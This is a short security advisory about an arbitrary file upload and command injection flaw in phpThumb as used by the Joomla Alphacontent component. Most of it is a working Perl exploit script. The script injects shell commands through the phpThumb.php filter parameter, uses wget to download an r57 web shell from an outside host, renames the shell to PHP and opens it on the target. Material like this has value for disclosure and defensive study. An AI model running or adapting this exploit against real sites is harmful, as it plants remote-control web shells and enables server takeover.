source: https://www.securityfocus.com/bid/64041/info

phpThumb is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because it fails to properly validate file extensions before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Note: This BID was previously titled 'Joomla! Alphacontent Component 'phpThumb.php' Arbitrary File Upload Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected. 

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
$target = $ARGV[0];

if($target eq '')
{
print "======================================================\n";
print "  DEVILSCREAM - WWW.NEWBIE-SECURITY.OR.ID             \n";
print "======================================================\n";
sleep(0.8);
print "Usage: perl exploit.pl <target> \n";
exit(1);
}

if ($target !~ /http:\/\//)
{
$target = "http://$target";
}

#print "[*] Enter the address of your hosted TXT shell (ex: '
http://c99.gen.tr/r57.txt') => ";
#$shell = <STDIN>;
sleep(1);
print "======================================================\n";
print "  DEVILSCREAM - WWW.NEWBIE-SECURITY.OR.ID             \n";
print "======================================================\n";
sleep(1.1);
print "[*] Testing exploit ... \n";
sleep(1.1);
$agent = LWP::UserAgent->new();
$agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101
Firefox/14.0.1');
$shell = "wget http://www.r57c99shell.net/shell/r57.txt -O shell.txt";
$website =
"$target/components/com_alphacontent/assets/phpThumb/phpThumb.php??src=file.jpg&fltr

[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ;
&phpThumbDebug=9";

$request = $agent->request(HTTP::Request->new(GET=>$website));

if ($request->is_success)
{
print "[+] Exploit sent with success. \n";
sleep(1.4);
}

else
{
print "[-] Exploit sent but probably the website is not vulnerable. \n";
sleep(1.3);
}

print "[*] Checking if the txt shell has been uploaded...\n";
sleep(1.2);

$cwebsite =
"$target/components/com_alphacontent/assets/phpThumb/shell.txt";
$creq = $agent->request(HTTP::Request->new(GET=>$cwebsite));

if ($creq->is_success)
{
print "[+] Txt Shell uploaded :) \n";
sleep(1);
print "[*] Moving it to PHP format... Please wait... \n";
sleep(1.1);
$mvwebsite =
"$target/components/com_alphacontent/assets/phpThumb/phpThumb.php?

src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg
jpeg:fail.jpg ; mv shell.txt shell.php ;

&phpThumbDebug=9";
$mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite));

$cwebsite =
"$target/components/com_alphacontent/assets/phpThumb/shell.php";
$c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite));

if ($c2req->is_success)
{
print "[+] PHP Shell uploaded => $cwebsite :) \n";
sleep(0.8);
print "[*] Do you want to open it? (y/n) => ";
$open = <STDIN>;

if ($open == "y")
{
$firefox = "firefox $cwebsite";
system($firefox);
}

}

else
{
print "[-] Error while moving shell from txt to PHP :( \n";
exit(1);
}

}

else
{
print "[-] Txt shell not uploaded. :( \n";
}